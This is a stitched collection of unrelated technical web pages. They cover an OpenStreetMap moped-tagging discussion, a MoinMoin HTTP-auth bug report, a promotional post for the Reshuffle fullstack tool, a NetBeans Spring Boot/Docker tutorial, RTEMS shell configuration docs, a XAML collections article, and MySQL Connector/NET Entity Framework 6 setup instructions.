- is that really needed? It will provoke a lot of confusion, since a "snorfiets" is a "bromfiets" (that's why we call it bromfiets klasse A here), i.e. it's both moped. So you can't go around the current usage and understanding of the tag. Secondly, it's not necessary to have the exact same tags in each country. Belgium doesn't have a "hgv" class for example in the traffic code, so only "goods" should be used in tagging (and hgv is a synonym for goods now) (not discussing different driver's licenses here). So, moped_A and moped_B will be much easier for Belgian mappers to understand than trying to tell moped_B will now be moped (people will forget that it's only the B class, and it's just wrong in a logical point of view), and introduce a word no-one ever heard of "mofa". So the situation works nicely as it is now in Belgium, and there's no need to change it. If it needs to be adapted in the Netherlands, then discuss that with the Dutch user base, but don't try to enforce that new rule to other countries where it doesn't make sense. --Eimai 12:46, 26 May 2009 (UTC)
|
http://wiki.openstreetmap.org/wiki/Proposed_features/moped_access
|
crawl-003
|
en
|
refinedweb
|
Description
I'm using MoinMoin 1.5.3 as a standalone server. I am trying to set up http basic authentication.
Visting any wiki page throws the error, "'RequestStandAlone' object has no attribute 'env'".
Steps to reproduce
from MoinMoin.auth import http auth = [http] user_autocreate = True
- Configure as above
- Visit a wiki page
Details
Workaround
Discussion
Same thing happens with 1.5.5a plus the patch.
Yeah, sorry. I looked in the code and we simply didn't implement http auth for standalone. http auth "as is" is implemented for:
- Twisted
- CGI, FastCGI, maybe also mod_python
Oh... given that I want HTTP authentication to be done by the Apache proxy, is there any other way to get MoinMoin to use the value of the REMOTE_USER environment variable as the authenticated user name, or should I try one of the alternative servers?
- You have to find out how apache passes auth information in that case. As it is NOT calling moin as cgi, there won't be an environment variable REMOTE_USER. Maybe there are some http auth headers being sent by the browser? Or some headers being added by apache when proxying?
Ok, now I see what you mean. Apache is passing through HTTP 'Authorization' header verbatim to the moin server. Anyway, I switched to the twisted server since it's basically the same as the standalone one but with working http authentication. Thanks.
Plan
- Priority:
- Assigned to:
- Status: not really a bug, but just not supported / implemented
|
http://www.moinmo.in/MoinMoinBugs/RequestStandAloneNoAttributeEnv
|
crawl-003
|
en
|
refinedweb
|
How Reshuffle Solves Common Fullstack Problems
Ryland G
・6 min read
Hi! For those of you who don’t know me, I’m Ryland, a fullstack dev/product manager/designer working for a SFbay-area startup. 4 months ago, I led an effort at my company to build a prototype tool that would simplify the process of creating fullstack apps. That idea has since transformed into an amazing product known as “Reshuffle”. Reshuffle eliminates the time-consuming, and headache inducing boilerplate traditionally associated with fullstack development and enable you to focus completely on your core value.
Here is a link to general launch announcement
Disclaimer: I try my best to be a transparent person, especially with my writing. My articles usually don’t have personal motivations but I want to make it clear when they do. I have vested interest as an employee of Reshuffle, but I really do believe it will revolutionize the way software is developed and shared. I’ve done my best to provide an honest (although still excited) outlook on what we’re offering.
Reshuffle TL;DR;
Reshuffle extends Create React App and adds a backend, integrating seamlessly into a traditional webpack/React workflow. Backends are written using “plain old JavaScript”, with React-inspired semantics. There is no need to manage or even create a database for apps, just use the resources you need, when you need them. Reshuffle offers FREE hosting of fullstack apps on the cloud.
Check out the site and remix an existing fullstack project for free!
How Reshuffle solves common fullstack problems
For a lot of us, the best way to start is with code (that’s why we’re all here right?). Here is a minimal fullstack example (including a database) built with the Reshuffle framework:
// src/App.js
import '@reshuffle/code-transform/macro' import React, { useState, useEffect } from 'react'; // import backend logic like any js function import { addAndGet } from '../backend/helloServer.js'; export default () => { const [num, setNum] = useState(undefined); useEffect(() => { addAndGet(0).then(setNum) }, []); return ( <div> <h1> Hello World from Reshuffle! </h1> <span> Number is: {num} </span> <button onClick={() => addAndGet(1).then(setNum)} > Increment me </button> </div> ); }
// backend/helloServer.js
// backend/helloServer.js import { update } from '@reshuffle/db'; /* @expose */ export async function addAndGet(num) { return update('num', (prevNumber) => { if (prevNumber) { return num + prevNumber; } return num; }); }
Hopefully that provides some context for the rest of this article!
Starting a new fullstack project can be daunting ♞
There have been tremendous improvements in fullstack development over the last 10-15 years. Frontend frameworks have never been more powerful, and paradigms like Serverless have made cloud infrastructure accessible to everyone. As someone who lives and breathes this world everyday, I couldn’t be happier to see how far we’ve come. Although things have gotten a lot better, there are still some pretty rough edges:
- Starting a new fullstack project has serious overhead and requires boilerplate every time
- Even with the best framework/packages, you never start from exactly where you want
- Even if frontend tool X and backend tool Y are perfect, you still have to integrate them
- It seems like the easier the backend platform is, the more you have to entrench yourself with its semantics
Reshuffle solves these problems and more:
Creating a new fullstack project has serious overhead and boilerplate every time
With Reshuffle, you start new projects by remixing (here is a link to a doc explaining that) old ones. Avoid recreating the same boilerplate over and over again and immediately start with the project setup right for you.
Even with the best framework/packages, you never start from exactly where you want
With all of our open-source templates, it’s nearly always possible to start from exactly where you want to. Remix the template that closest matches your needs and avoid implementing features which don’t bring your app value.
Even if frontend tool X and backend tool Y are perfect, you still have to integrate them
Reshuffle takes a more opinionated approach than other offerings and merges backend/frontend into a single unit. By taking advantage of the wildly successful Create React App framework, we can provide a uniform and cohesive environment for fullstack development. Reshuffle handles all the tedious integration work leaving you to do the important stuff 😉
It seems like the easier the backend platform is, the more you have to entrench yourself with its semantics
Reshuffle integrates seamlessly into the existing React developer experience. Our hope is that existing React developers will need to learn as few new concepts as possible to extend their apps to the cloud.
We hope to fundamentally reduce the cost of transforming a great idea into a great application.
Source code isn’t the whole story 📖
Github transformed the development ecosystem and open-source landscape. Although there was open-source in the past, Github brought it to the masses. Services like npm further contributed to this transformation, making it easier to share code than ever before. In more recent times, offerings such as Netlify and Github pages have made hosting and sharing static sites a convenient and enjoyable process. But throughout this transformation, fullstack applications have been neglected. There are a million solutions for sharing code and static sites, but once a backend comes into the picture, sharing becomes tricky…
Reshuffle enables sharing live fullstack apps, not just source code and rendered HTML. By providing every app a zero-config, zero-cost backend and data layer, we hope to transform fullstack app sharing, just as npm and Github did with source code. Wouldn’t it be cool if every npm module came with a live preview, running on a real backend? Reshuffle allows any open-source template to be “remixed” free of cost. Remixing instantly creates a copy of the app (including code, compute, and data) to your account. Imagine a world where you always know if an npm module fits your needs, without having to create a local project to test it out. This is the world we are striving to build.
Here is a video that explains everything concisely:
Developing locally isn’t developing remotely
One of the most frustrating aspects of fullstack, is the need to constantly be aware of minute differences between your local environment and the cloud. Even small differences in behavior can have catastrophic effects on production systems. Containerization and virtualization technologies have definitely improved things, but there is still a ton of room for error when developing in a split environment.
Reshuffle unifies the fullstack development process, permanently blurring the line between running locally and on the cloud. We believe that running your app on the cloud should simply be a choice you make, similar to an on/off switch. You no longer have to worry about maintaining different configs for your local and remote environment, just flip the switch when you’re ready to go live.
Managing cloud resources is a burden
Using the cloud has never been easier. Especially compared to the not-so-distant past, where managing infrastructure meant literally managing physical servers, it’s a completely different world. Serverless and the emergence of Devops has made the cloud infinitely more accessible. Unfortunately, serverless !== hassle-less. Physical/virtual infrastructure management has seemingly been replaced with an endless slew of YML config files. Even with the best Serverless offerings, you’re required to be aware of and responsible for details that aren’t helping you deliver value to your users.
Reshuffle manages the full burden of the cloud, so you don’t have to. Never visit YML-land again, as there are no tedious config files or cloud configuration options. Our system is intelligent and responsive, auto-scaling to fit your needs, without your intervention.
Conclusion
Reshuffle will transform the application landscape, significantly reducing the barrier of entry required for fullstack development. We're starting with React and are hard at work adding support for other frameworks and mobile apps. We’ve reduced the number of moving parts required to create a new cloud application, making it possible to focus on your core value, instead of maintaining servers.
Open source software and the amazing developer community (like the one here on Dev.to) is our foundation, and nothing makes us happier than providing value back to developers. If this article even got you 1/10 as excited as I am, I’ll count that as a success.
Reshuffle is available today. Create, copy and deploy fullstack applications at absolutely 0 cost (free as in beer and as in speech, although we wouldn’t recommend doing both at the same time)!
Feel free to ask me ask anything in the comments, or join us on our Discord.
Great write up, Ryland. I've been lucky enough to get my feet wet with reshuffle, and as a relatively new developer it's really cool to see how easy reshuffle has made creating fullstack apps.
I think with the advent of no-code tools, I think reshuffle has positioned itself nicely as a way to get custom and fluid ideas out quick while still being able to manage data.
Excited to see how reshuffle grows and how the platform expands! 🚀
Hey Heath. First off, thank you so much for your invaluable support and feedback over the last months. I'm really glad you like what we've made, a lot of blood, sweat and tears went into it.
Couldn't agree more. Reshuffle is a product for myself just as much as it is for others. Everyone has that threshold where they can't stand doing a repetitive task anymore. Fullstack development had reached that point for me, and I really think Reshuffle takes a huge amount of the heavy lifting off the user.
Thanks again for the awesome insights and comments!
|
https://dev.to/taillogs/how-reshuffle-solves-common-fullstack-problems-4h17
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
source:
rtems-docs/shell/configuration_and_init.rst
@
cf0c79a
Configuration and Initialization
Introduction
This chapter provides information on how the application configures and initializes the RTEMS shell.
Configuration
The command set available to the application is user configurable. It is configured using a mechanism similar to the confdefs.h mechanism used to specify application configuration.
In the simplest case, if the user wishes to configure a command set with all commands available that are neither filesystem management (e.g. mounting, formating, etc.) or network related, then the following is all that is required:
#define CONFIGURE_SHELL_COMMANDS_INIT #define CONFIGURE_SHELL_COMMANDS_ALL #include <rtems/shellconfig.h>
In a slightly more complex example, if the user wishes to include all networking commands as well as support for mounting MS-DOS and NFS filesystems, then the following is all that is required:
#define CONFIGURE_SHELL_COMMANDS_INIT #define CONFIGURE_SHELL_COMMANDS_ALL #define CONFIGURE_SHELL_MOUNT_MSDOS #define CONFIGURE_SHELL_MOUNT_NFS #include <rtems/shellconfig.h>
The shell uses a POSIX key to reference the shell's per thread environment. A user's application needs to account for this key. If the application has a configuration for POSIX keys add one extra for the shell. If there is no entry add to the configuration:
#define CONFIGURE_MAXIMUM_POSIX_KEYS (5)
Customizing the Command Set
The user can configure specific command sets by either building up the set from individual commands or starting with a complete set and disabling individual commands. Each command has two configuration macros associated with it.
- CONFIGURE_SHELL_COMMAND_XXX
- Each command has a constant of this form which is defined when building a command set by individually enabling specific commands.
- CONFIGURE_SHELL_NO_COMMAND_XXX
- In contrast, each command has a similar command which is defined when the application is configuring a command set by disabling specific commands in the set.
Adding Custom Commands
One of the design goals of the RTEMS Shell was to make it easy for a user to add custom commands specific to their application. We believe this design goal was accomplished. In order to add a custom command, the user is required to do the following:
- Provide a main-style function which implements the command. If that command function uses a getopt related function to parse arguments, it MUST use the reentrant form.
- Provide a command definition structure of type rtems_shell_cmd_t.
- Configure that command using the CONFIGURE_SHELL_USER_COMMANDS macro.
Custom aliases are configured similarly but the user only provides an alias definition structure of type rtems_shell_alias_t and configures the alias via the CONFIGURE_SHELL_USER_ALIASES macro.
In the following example, we have implemented a custom command named usercmd which simply prints the arguments it was passed. We have also provided an alias for usercmd named userecho.
#include <rtems/shell.h> int main_usercmd(int argc, char **argv) { int i; printf( "UserCommand: argc=%d\n", argc ); for (i=0 ; i<argc ; i++ ) printf( "argv[%d]= %s\n", i, argv[i] ); return 0; } rtems_shell_cmd_t Shell_USERCMD_Command = { "usercmd", /* name */ "usercmd n1 \[n2 \[n3...]]", /* usage */ "user", /* topic */ main_usercmd, /* command */ NULL, /* alias */ NULL /* next */ }; rtems_shell_alias_t Shell_USERECHO_Alias = { "usercmd", /* command */ "userecho" /* alias */ }; #define CONFIGURE_SHELL_USER_COMMANDS &Shell_USERCMD_Command #define CONFIGURE_SHELL_USER_ALIASES &Shell_USERECHO_Alias #define CONFIGURE_SHELL_COMMANDS_INIT #define CONFIGURE_SHELL_COMMANDS_ALL #define CONFIGURE_SHELL_MOUNT_MSDOS #include <rtems/shellconfig.h>
Notice in the above example, that the user wrote the main for their command (e.g. main_usercmd) which looks much like any other main(). They then defined a rtems_shell_cmd_t structure named Shell_USERCMD_Command which describes that command. This command definition structure is registered into the static command set by defining CONFIGURE_SHELL_USER_COMMANDS to &Shell_USERCMD_Command.
Similarly, to add the userecho alias, the user provides the alias definition structure named Shell_USERECHO_Alias and defines CONFIGURE_SHELL_USER_ALIASES to configure the alias.
The user can configure any number of commands and aliases in this manner.
Initialization
The shell may be easily attached to a serial port or to the telnetd server. This section describes how that is accomplished.
Attached to a Serial Port
Starting the shell attached to the console or a serial port is very simple. The user invokes rtems_shell_init with parameters to indicate the characteristics of the task that will be executing the shell including name, stack size, and priority. The user also specifies the device that the shell is to be attached to.
This example is taken from the fileio sample test. This shell portion of this test can be run on any target which provides a console with input and output capabilities. It does not include any commands which cannot be supported on all BSPs. The source code for this test is in testsuites/samples/fileio with the shell configuration in the init.c file.
#include <rtems/shell.h> void start_shell(void) { printf(" =========================\n"); printf(" starting shell\n"); printf(" =========================\n"); rtems_shell_init( "SHLL", /* task name */ RTEMS_MINIMUM_STACK_SIZE * 4, /* task stack size */ 100, /* task priority */ "/dev/console", /* device name */ false, /* run forever */ true, /* wait for shell to terminate */ rtems_shell_login_check /* login check function, use NULL to disable a login check */ ); }
In the above example, the call to rtems_shell_init spawns a task to run the RTEMS Shell attached to /dev/console and executing at priority 100. The caller suspends itself and lets the shell take over the console device. When the shell is exited by the user, then control returns to the caller.
Attached to a Socket
TBD
Access Control
Login Checks
Login checks are optional for the RTEMS shell and can be configured via a login check handler passed to rtems_shell_init(). One login check handler is rtems_shell_login_check().
Configuration Files
The following files are used by the login check handler rtems_shell_login_check() to validate a passphrase for a user and to set up the user environment for the shell command execution.
- :file:`/etc/passwd`
The format for each line is
user_name:password:UID:GID:GECOS:directory:shell
with colon separated fields. For more information refer to the Linux PASSWD(5) man page. Use a password of * to disable the login of the user. An empty password allows login without a password for this user. In contrast to standard UNIX systems, this file is only readable and writeable for the user with an UID of zero by default. The directory is used to perform a filesystem change root operation in rtems_shell_login_check() in contrast to a normal usage as the HOME directory of the user. The default content is:
root::0:0::::
so there is no password required for the root user.
- :file:`/etc/group`
The format for each line is:
group_name:password:GID:user_list
with colon separated fields. The user_list is comma separated. For more information refer to the Linux GROUP(5) man page. In contrast to standard UNIX systems, this file is only readable and writeable for the user with an UID of zero by default. The default content is
root::0:
Command Visibility and Execution Permission
Each command has:
- an owner,
- a group, and
- a read permission flag for the owner, the group and all other users, and
- an execution permission flag for the owner, the group and all other users.
The read and write permission flags are stored in the command mode. The read permission flags determine the visibility of the command for the current user. The execution permission flags determine the ability to execute a command for the current user. These command properties can be displayed and changed with the:
- cmdls,
- cmdchown, and
- cmdchmod
commands. The access is determined by the effective UID, the effective GID and the supplementary group IDs of the current user and follows the standard filesystem access procedure.
Add CRYPT(3) Formats
By default the crypt_r() function used by rtems_shell_login_check() supports only plain text passphrases. Use crypt_add_format() to add more formats. The following formats are available out of the box:
- crypt_md5_format,
- crypt_sha256_format, and
- crypt_sha512_format.
An example follows:
.. index:: crypt_add_format
#include <crypt.h> void add_formats( void ) { crypt_add_format( &crypt_md5_format ); crypt_add_format( &crypt_sha512_format ); }
Functions
This section describes the Shell related C functions which are publicly available related to initialization and configuration.
.. raw:: latex \clearpage
rtems_shell_init - Initialize the shell
.. index:: initialization
.. index:: rtems_shell_init
- CALLING SEQUENCE:
rtems_status_code rtems_shell_init( const char *task_name, size_t task_stacksize, rtems_task_priority task_priority, const char *devname, bool forever, bool wait, rtems_login_check login_check );
- DIRECTIVE STATUS CODES:
- RTEMS_SUCCESSFUL - Shell task spawned successfully others - to indicate a failure condition
- DESCRIPTION:
- This service creates a task with the specified characteristics to run the RTEMS Shell attached to the specified devname.
- NOTES:
This method invokes the rtems_task_create and rtems_task_start directives and as such may return any status code that those directives may return.
There is one POSIX key necessary for all shell instances together and one POSIX key value pair per instance. You should make sure that your RTEMS configuration accounts for these resources.
.. raw:: latex \clearpage
rtems_shell_login_check - Default login check handler
.. index:: initialization
.. index:: rtems_shell_login_check
- CALLING SEQUENCE:
bool rtems_shell_login_check( const char *user, const char *passphrase );
- DIRECTIVE STATUS CODES:
- true - login is allowed, and false - otherwise.
- DESCRIPTION:
- This function checks if the specified passphrase is valid for the specified user.
- NOTES:
As a side-effect if the specified passphrase is valid for the specified user, this function:
- performs a filesystem change root operation to the directory of the specified user if the directory path is non-empty,
- changes the owner of the current shell device to the UID of the specified user,
- sets the real and effective UID of the current user environment to the UID of the specified user,
- sets the real and effective GID of the current user environment to the GID of the specified user, and
- sets the supplementary group IDs of the current user environment to the supplementary group IDs of the specified user.
In case the filesystem change root operation fails, then the environment setup is aborted and false is returned.
|
https://devel.rtems.org/browser/rtems-docs/shell/configuration_and_init.rst?rev=cf0c79ac22d86b4e45c872638e61d31457207e76
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
Element
Position Class
Definition
Represents the base class for many visual elements of the chart such as the legend, title, and chart areas. Defines the position of the chart element in relative coordinates, which range from (0,0) to (100,100).
public ref class ElementPosition : System::Web::UI::DataVisualization::Charting::ChartElement
public class ElementPosition : System.Web.UI.DataVisualization.Charting.ChartElement
type ElementPosition = class inherit ChartElement
Public Class ElementPosition Inherits ChartElement
- Inheritance
- ElementPosition
Remarks image.
|
https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.datavisualization.charting.elementposition?view=netframework-4.8
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
Playing with Spring Boot and Docker in NetBeans IDE
This tutorial should help you create a Spring Boot microservice that is executed and deployed in a Docker container which can be configured and managed in the same place where we handle the Spring Boot application.
In this tutorial you will learn how to write a Java EE application using two of the trendiest technologies: Spring Boot and Docker in NetBeans IDE.
Spring Boot is an innovative project that aims to make it easy to create Spring applications by simplifying the configuration and deployment actions through its convention over configuration based setup. Docker is an open source project that automates the deployment of applications inside software containers.
Today I’d like to make a tutorial in which a simple Spring Boot application is deployed using Docker.
Requirements
JDK 8 recommended
We need Docker, which only runs on 64-bit machines. See for details on setting Docker up for your machine. Before proceeding further, verify you can run docker commands from the shell. If you are using boot2docker you need to run that first.
NetBeans IDE Development build, to be downloaded from
For this tutorial I will be using the Development build of NetBeans IDE, as the Docker integration will be in the next release of NetBeans.
Grab the Java EE bundle from the download section.
Docker support
The Docker node is available in the Services window. To connect to a Docker instance, make sure that the Docker daemon is working.
On NetBeans go to the Services window:
After configuring the Docker instance, you can see all your images and containers, as well as the state of each container:
The Docker integration in NetBeans supports many Docker operations such as running or pushing images, or starting and stopping containers:
Spring Boot support
I recently found a great Spring Boot plugin: NB-SpringBoot created by Alex Falappa
The features provided by the plugin:
Spring Boot new Maven project wizards:
Basic project
Project generated by Spring Initializr service
Enhanced properties file editor:
completion and documentation of configuration properties names
completion and documentation of configuration properties values (hints in configuration metadata)
Spring Boot file templates:
CommandlineRunner annotated classes
ApplicationRunner annotated classes
application.properties files
ConfigurationProperties annotated classes
additional-spring-configuration-metadata.json files
Spring file templates:
Component annotated classes
Configuration annotated classes
Service annotated classes
Spring MVC file templates:
Controller annotated classes
RestController annotated classes
Spring Data file templates:
interfaces extending Repository
Code generators in pom.xml files:
Add spring configuration processor dependency
Add spring-devtools & spring-actuator dependencies
Creating our Boot application
After installing the plugin, we can create a new project using the Spring Initializr directly from NetBeans:
Next, select the Spring Boot version and the needed dependencies.
I just picked the Web and Actuator dependencies for my sample project.
So now we have created our project base using Spring Initializer. The structure of the created project would be:
Now we create a new RestController:
The controller will be a classic “Hello World” Rest boundary:
@RestController public class GreetingsController { @RequestMapping(path = "/time", method = GET) public String sayHelloWorld(){ return "Hello World @ " + LocalTime.now(); } }
Run the project and go to to test the application:
Another great feature of the SpringBootPlugin is the powerful code completion especially on properties files, decorated with the Javadoc of the suggested item:
To deploy our application using Docker, we will need to prepare our container.
Now we need to build our first container, which will run our sample microservice. We do this by defining the Dockerfile, which is a text file containing series of commands that tell Docker how to build an image. Once we write a Dockerfile, we can then repeatedly build an image by running the docker build command.
In NetBeans, create the new Dockerfile:
Create the “Dockerfile” in the “src/main/docker” folder.
An example of a Dockerfile content that we can use :
FROM java:8 VOLUME /tmp ADD nb-springboot-docker.jar app.jar EXPOSE 8080 RUN sh -c 'touch /app.jar' ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]
As you can see, the Dockerfile is very simple. It consists of the following instructions:
FROM – the FROM instruction specifies the starting image. In this example, it is the Java 8 image mentioned above. The first time you build this image, Docker will download the Java 8 image from the central Docker registry
VOLUME – define that a volume named /tmp should exist
MAINTAINER – this instruction simply specifies the author
ADD – this instruction copies the JAR file to the specified location in the image. Note that working directory for the dockerfile/java image is /data so that’s why we are putting the JAR file there.
EXPOSE – this instruction tells Docker that this server process will listen on port 8080
RUN – used to “touch” the jar file so that it has a file modification time (Docker creates all container files in an “unmodified” state by default). This actually isn’t important for the simple app that we wrote, but any static content (e.g. “index.html”) would require the file to have a modification time.
ENTRYPOINT – is the “what to run to ‘start’” command — we run Java, setting properties, for example, a quick additional property to reduce Tomcat startup time we added a system property pointing to “/dev/urandom” as a source of entropy, and then point it at our jar.
To build the image you can use some tooling for Maven (Spotify) or Gradle (Transmode).
For our example we will be using Maven.
Build a Docker Image with Maven
In the Maven pom.xml you should add a new plugin like this (see the Docker-Maven-Plugin documentation for more options):
<plugin> <groupId>com.spotify</groupId> <artifactId>docker-maven-plugin</artifactId> <version>0.4.10</version> <configuration> <imageName>${docker.image.prefix}/${project.artifactId}</imageName> <dockerDirectory>src/main/docker</dockerDirectory> <resources> <resource> <targetPath>/</targetPath> <directory>${project.build.directory}</directory> <include>${project.build.finalName}.jar</include> </resource> </resources> </configuration> </plugin>
The plugin configuration is simple:
- imageName: The name of the generated Docker image
- dockerDirectory: The directory where you can find the Dockerfile
- resources: The resources files to copy from the target directory to the Docker build (alongside the Dockerfile)
You can build an image with the configurations mentioned above by running this command:
mvn clean package docker:build
After the execution of the command, when you check the list of Docker images, you will discover that the built image is added to the list :
There is also the ‘’java:8’’ image added to the list of images. This is because the ‘’nebrass/nb-springboot-docker’’ is based on the ‘’java:8’’ image.
You can run the built image just by clicking the ‘’Run’’ button.
Next, configure your container :
Next, configure the ports binding :
A great feature is provided by NetBeans: « Add Exposed » will bind the exposed ports automatically in the created container.
By clicking the « Finish » button, the container will be launched, and a log window will appear in NetBeans to show you how your container is executed:
Now, we check the application at
Great ! This is working !
Next, we add a Maven Task that we will be used to run the container. It can be used for example to bind the task to some Maven Phase (package, deploy…).
The command line used to launch the container :
docker run –d –p 8080:8080 nebrass/nb-springboot-docker
So our Maven Task will execute the same command. We will use the ‘’exec-maven-plugin’’ to launch the same command:
<plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <executions> <execution> <id>DockerRun</id> <goals> <goal>exec</goal> </goals> </execution> </executions> <configuration> <executable>/usr/local/bin/docker</executable> <arguments> <argument>run</argument> <argument>-d</argument> <argument>-p</argument> <argument>8080:8080</argument> <argument>${docker.image.prefix}/${project.artifactId}</argument> </arguments> </configuration> </plugin>
So to run the container from Maven:
mvn exec:exec
The output:
MacBook-Pro-de-Nebrass:nb-springboot-docker nebrass$ mvn exec:exec [INFO] Scanning for projects... [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Building nb-springboot-docker 0.0.1-SNAPSHOT [INFO] ------------------------------------------------------------------------ [INFO] [INFO] --- exec-maven-plugin:1.3.2:exec (default-cli) @ nb-springboot-docker --- bf17bdaf0d9cb74e9fb94b20f9865d4424442413cd12a21804e252cce0976354 [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.051 s [INFO] Finished at: 2016-07-06T22:25:25+02:00 [INFO] Final Memory: 14M/245M [INFO] ------------------------------------------------------------------------
The app now is deployed and running in the created Docker container and our Greetings service is accessible at (to see your running container docker ps)
The global Maven command that does the build, tests, creates the Docker image and runs it:
mvn clean install docker:build exec:exec
This is the command that I added to my NetBeans as custom Maven Goal:
The output in NetBeans:
Summary
Congratulations! You have created a Spring Boot microservice that is executed and deployed in a Docker container which can be configured and managed in the same place where we handle the Spring Boot application.
The Spring Boot plugin developed by Alex Falappa is a great add-on and it’s worth trying it, you will love it for sure.
Be the First to Comment!
|
https://jaxenter.com/playing-with-spring-boot-docker-in-netbeans-ide-127672.html
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
This article demonstrates how to work with collections in XAML.
Introduction
XAML provides UI element objects that can host child collection items. XAML also provides support to work with .NET collection types as data sources.
XAML Collections
A collection element usually is a parent control with child collection elements. The child collection elements are an ItemCollection that implements IList<object>. A ListBox element is a collection of ListBoxItem elements.
The code listing in Listing 1 creates a ListBox with a few ListBoxItems.
Listing 1
The code listed above in Listing 1 generates Figure 1.
Figure 1
Add Collection Items
In the previous section, we saw how to add items to a ListBox at design-time from XAML. We can add items to a ListBox from the code.
Let's change our UI and add a TextBox and a button control to the page. See Listing 2.
Listing 2
The final UI looks like Figure 2.
Figure 2.
We can access collection items using the Items property. On the button click event handler, we add the content of the TextBox to the ListBox by calling the ListBox.Items.Add method. The code in Listing 3 adds the TextBox content to the ListBox items.
Listing 3
Now if you enter text into the TextBox and click the Add Item button, it will add the contents of the TextBox to the ListBox. See Figure 3.
Figure 3
Delete Collection Items
We can use the as in the following.
Listing 4
The button click event handler looks like the following. On this button click, we find the index of the selected item and call the ListBox.Items.RemoveAt method as in the following.
Listing 5
Collection Types
XAML allows developers to access .NET class library collection types from the scripting language. The code snippet in the Listing creates an array of String types, a collection of strings. To use the Array and String types, we must import the System namespace.
The code listing in Listing 6 creates an Array of String objects in XAML. As you may noticed in Listing 2, you must import the System namespace in XAML using the xmlns.
Listing 6
The ItemsSource property if ListBox in XAML is used to bind the ArrayList. See Listing 7.
Listing 7
Summary
XAML supports collections including collection items and working with .NET collection types. In this article, we saw how to create a control with collection items and how to access its items dynamically. Later, we saw how to create a .NET collection type in XAML and bind it within the XAML.
Recommended Readings
Check out these articles if you want to learn more about XAML and Collections.
View All
|
https://www.c-sharpcorner.com/uploadfile/mahesh/working-with-collections-in-xaml/
|
CC-MAIN-2019-47
|
en
|
refinedweb
|
MySQL Connector/NET integrates support for Entity Framework 6.0 (EF6). This chapter describes how to configure and use the EF6 features that are implemented in Connector/NET.
In this section:
Connector/NET 6.10.x or 8.0.x
MySQL Server 5.6 or higher
Entity Framework 6 assemblies
.NET Framework 4.0 or higher (.NET Framework 4.5.1 or higher is required for Connector/NET 6.10 and 8.0)
To configure Connector/NET support for EF6:
Edit the configuration sections in the
app.configfile to add the connection string and the Connector/NET provider for EF6:
<connectionStrings> <add name="MyContext" providerName="MySql.Data.MySqlClient" connectionString="server=localhost;port=3306;database=mycontext;uid=root;password=********"/> </connectionStrings> <entityFramework> >
Apply the reference for
MySql.Data.Entityautomatically or manually as follows:
Install the
MySql.Data.EntityNuGet package to add this reference automatically within
app.configor
web.configfile during the installation. For more information about the
MySql.Data.EntityNuGet package and its uses, see.
Proceed to step 3.
Otherwise, add a reference for the
MySql.Data.Entity.EF6assembly to your project. Depending on the .NET Framework version used, the assembly is taken from either the
v4.0or the
v4.5folder).
Unless Connector/NET was installed with the standalone MSI or MySQL Installer, which adds the reference, insert the following data provider information into the
app.configor
web.configfile:
<system.data> <DbProviderFactories> <remove invariant="MySql.Data.MySqlClient" /> <add name="MySQL Data Provider" invariant="MySql.Data.MySqlClient" description=".Net Framework Data Provider for MySQL" type="MySql.Data.MySqlClient.MySqlClientFactory, MySql.Data, Version=8.0.10.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d" /> </DbProviderFactories> </system.data>Important
Always update the version number to match the one in the
MySql.Data.dllassembly.
Set the new
DbConfigurationclass for MySQL. This step is optional but highly recommended, because it adds all the dependency resolvers for MySQL classes. This can be done in three ways:
Adding the
DbConfigurationTypeAttributeon the context class:
[DbConfigurationType(typeof(MySqlEFConfiguration))]
Calling
DbConfiguration.SetConfiguration(new MySqlEFConfiguration())at the application start up.
Set the
DbConfigurationtype in the configuration file:
<entityFramework codeConfigurationType="MySql.Data.Entity.MySqlEFConfiguration, MySql.Data.Entity.EF6">
It is also possible to create a custom
DbConfigurationclass and add the dependency resolvers needed.
Following are the new features in Entity Framework 6 implemented in Connector/NET:
Async Query and Save adds support for the task-based asynchronous patterns that have been introduced since .NET 4.5. The new asynchronous methods supported by Connector/NET are:
ExecuteNonQueryAsync
ExecuteScalarAsync
PrepareAsync
Connection Resiliency / Retry Logic enables automatic recovery from transient connection failures. To use this feature, add to the
OnCreateModelmethod:
SetExecutionStrategy(MySqlProviderInvariantName.ProviderName, () => new MySqlExecutionStrategy());
Code-Based Configuration gives you the option of performing configuration in code, instead of performing it in a configuration file, as it has been done traditionally.
Dependency Resolution introduces support for the Service Locator. Some pieces of functionality that can be replaced with custom implementations have been factored out. To add a dependency resolver, use:
AddDependencyResolver(new MySqlDependencyResolver());
The following resolvers can be added:
DbProviderFactory -> MySqlClientFactory
IDbConnectionFactory -> MySqlConnectionFactory
MigrationSqlGenerator -> MySqlMigrationSqlGenerator
DbProviderServices -> MySqlProviderServices
IProviderInvariantName -> MySqlProviderInvariantName
IDbProviderFactoryResolver -> MySqlProviderFactoryResolver
IManifestTokenResolver -> MySqlManifestTokenResolver
IDbModelCacheKey -> MySqlModelCacheKeyFactory
IDbExecutionStrategy -> MySqlExecutionStrategy
Interception/SQL logging provides low-level building blocks for interception of Entity Framework operations with simple SQL logging built on top:
myContext.Database.Log = delegate(string message) { Console.Write(message); };
DbContext can now be created with a DbConnection that is already opened, which enables scenarios where it would be helpful if the connection could be open when creating the context (such as sharing a connection between components when you cannot guarantee the state of the connection)
[DbConfigurationType(typeof(MySqlEFConfiguration))] class JourneyContext : DbContext { public DbSet<MyPlace> MyPlaces { get; set; } public JourneyContext() : base() { } public JourneyContext(DbConnection existingConnection, bool contextOwnsConnection) : base(existingConnection, contextOwnsConnection) { } } using (MySqlConnection conn = new MySqlConnection("<connectionString>")) { conn.Open(); ... using (var context = new JourneyContext(conn, false)) { ... } } method that allow users to override this behavior if wished. Execution of stored procedures included in the model through APIs such as
ObjectContext.ExecuteFunction()does the same. It is also possible to pass an existing transaction to the context.
DbSet.AddRange/RemoveRange provides an optimized way to add or remove multiple entities from a set.
Following are new Code First features supported by Connector/NET:
Code First Mapping to Insert/Update/Delete Stored Procedures supported:
